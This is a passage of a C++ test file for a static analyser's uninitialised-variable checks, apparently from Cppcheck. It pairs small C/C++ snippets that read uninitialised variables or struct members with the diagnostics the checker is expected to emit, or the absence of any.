ERR_NONE, ERR_BAD_ARGS };\\n\" // #9649\n \"struct box_t { int value; };\\n\"\n \"int init_box(box_t *p, int v);\\n\"\n \"\\n\"\n \"void foo(int ret) {\\n\"\n \" box_t box2;\\n\"\n \" if (ret == ERR_NONE)\\n\"\n \" ret = init_box(&box2, 20);\\n\"\n \" if (ret == ERR_NONE)\\n\"\n \" z = x + box2.value;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int value;\\n\"\n \" if (x == 32)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == 1)\\n\"\n \" v = value;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:9]: (error) Uninitialized variable: value [legacyUninitvar]\\n\", \"\", errout_str());\n\n valueFlowUninit(\"void f(int x) {\\n\"\n \" int value;\\n\"\n \" if (x == 32)\\n\"\n \" value = getvalue();\\n\"\n \" if (x == 32) {}\\n\"\n \" else v = value;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:6:12]: (warning) Uninitialized variable: value [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"static int x;\" // #4773\n \"int f() {\\n\"\n \" int y;\\n\"\n \" if (x) g();\\n\"\n \" if (x) y = 123;\\n\"\n \" else y = 456;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"static int x;\" // #4773\n \"int f() {\\n\"\n \" int y;\\n\"\n \" if (!x) g();\\n\"\n \" if (x) y = 123;\\n\"\n \" else y = 456;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int a) {\\n\"\n \" int x;\\n\"\n \" if (a) x=123;\\n\"\n \" if (!a) {\\n\"\n \" if (!a) {}\\n\"\n \" else if (x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // asm\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" asm();\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // sizeof / typeof / offsetof / etc\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" sizeof(i+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" if (100 == sizeof(i+1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" int i = ARRAY_SIZE(abc.a);\"\n \"}\");\n // FP ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int *abc;\\n\"\n \" typeof(*abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" struct ABC *abc;\\n\"\n \" return do_something(typeof(*abc));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" A *a;\\n\"\n \" a = malloc(sizeof(*a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // &\n valueFlowUninit(\"void f() {\\n\" // #4426 - address of uninitialized variable\n \" int a,b;\\n\"\n \" if (&a == &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #4439 - cast address of uninitialized variable\n \" int a;\\n\"\n \" x((LPARAM)(RECT*)&a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\n \"int main() {\\n\"\n \" int done;\\n\"\n \" dostuff(1, (AuPointer) &done);\\n\" // <- It is not conclusive if the \"&\" is a binary or unary operator. Bailout.\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:3:29]: (error) Uninitialized variable: done [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #4778 - cast address of uninitialized variable\n \" long a;\\n\"\n \" &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #4717 - ({})\n \" int a = ({ long b = (long)(123); 2 + b; });\\n\"\n \"}\",\n false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void valueFlowUninit_functioncall() {\n\n // #12462 - pointer data is not read\n valueFlowUninit(\"struct myst { int a; };\\n\"\n \"void bar(const void* p) {}\\n\"\n \"void foo() {\\n\"\n \" struct myst item;\\n\"\n \" bar(&item);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct myst { int a; };\\n\"\n \"void bar(const void* p) { a = (p != 0); }\\n\"\n \"void foo() {\\n\"\n \" struct myst item;\\n\"\n \" bar(&item);\\n\"\n \" a = item.a;\\n\" // <- item.a is not initialized\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:6:12]: (error) Uninitialized variable: item.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct myst { int a; };\\n\"\n \"void bar(struct myst* p) { p->a = 0; }\\n\"\n \"void foo() {\\n\"\n \" struct myst item;\\n\"\n \" bar(&item);\\n\"\n \" a = item.a;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(int& r) {}\\n\" // #12536\n \"void g() {\\n\"\n \" int i;\\n\"\n \" f(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int& i, int j, int k) {\\n\" // #12514\n \" if (k)\\n\"\n \" i = 2;\\n\"\n \" return i + j;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int i;\\n\"\n \" return f(i, 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:4:12]: (warning) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int f(int& i, int k) {\\n\"\n \" if (k)\\n\"\n \" i = 2;\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int i;\\n\"\n \" return f(i, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:4:12]: (warning) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n }\n\n void uninitStructMember() { // struct members\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = ab.a + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:6:18]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\" // #4760\n \"void do_something(int a);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" do_something(ab.a);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:5:18]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB &ab) { a = ab.a; }\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:13]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" AB ab1;\\n\"\n \" AB ab2 = { ab1.a, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (error) Uninitialized struct member: ab1.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" buf[ab.a] = 0;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:9]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" x = ab;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:5:9]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" x = *(&ab);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:5:12]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int x;\\n\"\n \" ab.a = (addr)&x;\\n\"\n \" dostuff(&ab,0);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" static void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" static void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" static int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" static int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" void f() { }\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; element->v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct Element {\\n\"\n \" int v;\\n\"\n \"};\\n\"\n \"void test() {\\n\"\n \" Element *element; (*element).v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:25]: (error) Uninitialized variable: element [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\" // pass struct member by address\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" assign(&ab.a, 0);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct Cstring { char *text; int size, alloc; };\\n\"\n \"int maybe();\\n\"\n \"void f() {\\n\"\n \" Cstring res;\\n\"\n \" if ( ! maybe() ) return;\\n\" // <- fp goes away if this is removed\n \" ( ((res).text = (void*)0), ((res).size = (res).alloc = 0) );\\n\" // <- fp goes away if parentheses are removed\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n constexpr char argDirectionsTestXmlData[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings s = settingsBuilder(settings).libraryxml(argDirectionsTestXmlData).build();\n\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" uninitvar_funcArgInTest(&ab);\\n\"\n \" x = ab;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"[test.c:5:9]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" uninitvar_funcArgOutTest(&ab);\\n\"\n \" x = ab;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" ab.b = 0;\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n checkUninitVar(\"struct AB { char a[10]; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy(ab.a, STR);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { unsigned char a[10]; };\\n\" // #8999 - cast\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy((char *)ab.a, STR);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { char a[10]; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" strcpy(x, ab.a);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n TODO_ASSERT_EQUALS(\"[test.c:4:16]: (error) Uninitialized variable: ab.a [uninitvar]\\n\", \"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" dosomething(ab.a);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab = getAB();\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // #6769 - calling method that might assign struct members\n checkUninitVar(\"struct AB { int a; int b; void set(); };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.set();\\n\"\n \" x = ab;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int get() const; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.get();\\n\"\n \" x = ab;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; void dostuff() {} };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.dostuff();\\n\"\n \" x = ab;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n checkUninitVar(\"struct AB { int a; struct { int b; int c; } s; };\\n\"\n \"void do_something(const struct AB ab);\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.s.b = 2;\\n\"\n \" ab.s.c = 3;\\n\"\n \" do_something(ab);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct conf {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void do_something(struct conf ant_conf);\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct conf c;\\n\"\n \" initdata(&c);\\n\"\n \" do_something(c);\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct PIXEL {\\n\"\n \" union {\\n\"\n \" struct { unsigned char red,green,blue,alpha; };\\n\"\n \" unsigned int color;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned char f() {\\n\"\n \" struct PIXEL p1;\\n\"\n \" p1.color = 255;\\n\"\n \" return p1.red;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"int f() {\\n\"\n \" struct AB *ab;\\n\"\n \" for (i = 1; i < 10; i++) {\\n\"\n \" if (condition && (ab = getab()) != NULL) {\\n\"\n \" a = ab->a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"int f(int x) {\\n\"\n \" struct AB *ab;\\n\"\n \" if (x == 0) {\\n\"\n \" ab = getab();\\n\"\n \" }\\n\"\n \" if (x == 0 && (ab != NULL || ab->a == 0)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct A { int *x; };\\n\" // declarationId is 0 for \"delete\"\n \"void foo(void *info, void*p);\\n\"\n \"void bar(void) {\\n\"\n \" struct A *delete = 0;\\n\"\n \" foo( info, NULL );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct ABC { int a; int b; int c; };\\n\"\n \"void foo(int x, const struct ABC *abc);\\n\"\n \"void bar(void) {\\n\"\n \" struct ABC abc;\\n\"\n \" foo(123, &abc);\\n\"\n \" return abc.b;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Uninitialized struct member: abc.a\\n\"\n \"[test.cpp:5]: (error) Uninitialized struct member: abc.b\\n\"\n \"[test.cpp:5]: (error) Uninitialized struct member: abc.c\\n\",\n \"[test.cpp:6:10]: (error) Uninitialized struct member: abc.b [uninitStructMember]\\n\",\n errout_str());\n\n checkUninitVar(\"struct ABC { int a; int b; int c; };\\n\"\n \"void foo() {\\n\"\n \" struct ABC abc;\\n\"\n \" dostuff((uint32_t *)&abc.a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(void) {\\n\"\n \" struct tm t;\\n\"\n \" t.tm_year = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" return ab.b;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:5:12]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 0;\\n\"\n \" return ab.a;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct S { int a; int b; };\\n\" // #8299\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" s.a = 0;\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Uninitialized struct member: s.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct S { int a; int b; };\\n\" // #9810\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" return s.a ? 1 : 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Uninitialized struct member: s.a [uninitStructMember]\\n\", errout_str());\n\n // checkIfForWhileHead\n checkUninitVar(\"struct FRED {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct FRED fred;\\n\"\n \" fred.a = do_something();\\n\"\n \" if (fred.a == 0) { }\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct FRED {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(void) {\\n\"\n \" struct FRED fred;\\n\"\n \" fred.a = do_something();\\n\"\n \" if (fred.b == 0) { }\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:9:8]: (error) Uninitialized struct member: fred.b [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct Fred { int a; };\\n\"\n \"void f() {\\n\"\n \" struct Fred fred;\\n\"\n \" if (fred.a==1) {}\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:9]: (error) Uninitialized struct member: fred.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct S { int n; int m; };\\n\"\n \"void f(void) {\\n\"\n \" struct S s;\\n\"\n \" for (s.n = 0; s.n <= 10; s.n++) { }\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void test2() {\\n\"\n \" struct { char type; } s_d;\\n\"\n \" if (foo(&s_d.type)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // for\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { clear(ab); z = ab.a; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { ab.a = ab.a + 1; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (error) Uninitialized struct member: ab.a [uninitStructMember]\\n\", errout_str());\n\n checkUninitVar(\"struct AB { int a; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" while (x) { init(&ab); z = ab.a; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // address of member\n checkUninitVar(\"struct AB { int a[10]; int b; };\\n\"\n \"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" int *p = ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Reference\n checkUninitVar(\"struct A { int x; };\\n\"\n \"void foo() {\\n\"\n \" struct A a;\\n\"\n \" int& x = a.x;\\n\"\n \" x = 0;\\n\"\n \" return a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // non static data-member initialization\n checkUninitVar(\"struct AB { int a=1; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" int a = ab.a;\\n\"\n \" int b = ab.b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Uninitialized struct member: ab.b [uninitStructMember]\\n\", errout_str());\n\n // STL class member\n checkUninitVar(\"struct A {\\n\"\n \" std::map m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown type (C++)\n checkUninitVar(\"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown type (C)\n checkUninitVar(\"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:7:9]: (error) Uninitialized struct member: a.m [uninitStructMember]\\n\", errout_str());\n\n // Type with constructor\n checkUninitVar(\"class C { C(); }\\n\"\n \"struct A {\\n\"\n \" C m;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" x = a.m;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11002\n checkUninitVar(\"struct S { char *p; int len; };\\n\"\n \"void f() {\\n\"\n \" S s;\\n\"\n \" s.p = nullptr;\\n\"\n \" char* q = (s).p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // if with flag\n checkUninitVar(\"struct AB { int a; int b; };\\n\"\n \"int f(int x) {\\n\"\n \" struct AB ab;\\n\"\n \" int flag = 0;\\n\"\n \" if (x == 0) {\\n\"\n \" flag = dostuff(&ab);\\n\"\n \" }\\n\"\n \" if (flag) {\\n\"\n \" a = ab.a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct S { int x; };\\n\"\n \"S h() {\\n\"\n \" S s;\\n\"\n \" S& r = s;\\n\"\n \" r.x = 0;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"S i() {\\n\"\n \" S s;\\n\"\n \" S& r{ s };\\n\"\n \" r.x = 0;\\n\"\n \" return s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct S { int i; };\\n\" // #12142\n \"int f() {\\n\"\n \" S s;\\n\"\n \" int S::* p = &S::i;\\n\"\n \" s.*p = 123;\\n\"\n \" return s.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct S { int a; };\\n\" // #13848\n \"int f(std::istream& is) {\\n\"\n \" S s;\\n\"\n \" is >> s;\\n\"\n \" return s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar2_while() {\n // extracttests.start: int a;\n\n // for, while\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" while (a) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" do {\\n\"\n \" x = x + 1;\\n\"\n \" } while (a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" for (int x = x; x < 10; x++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Uninitialized variable: x [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: struct Element{Element*Next();};\n checkUninitVar(\"void f() {\\n\"\n \" for (Element *ptr3 = ptr3->Next(); ptr3; ptr3 = ptr3->Next()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (error) Uninitialized variable: ptr3 [legacyUninitvar]\\n\", errout_str());\n\n // extracttests.start: int a;\n checkUninitVar(\"void f() {\\n\"\n \" int x;\\n\"\n \" while (a) {\\n\"\n \" init(&x);\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n 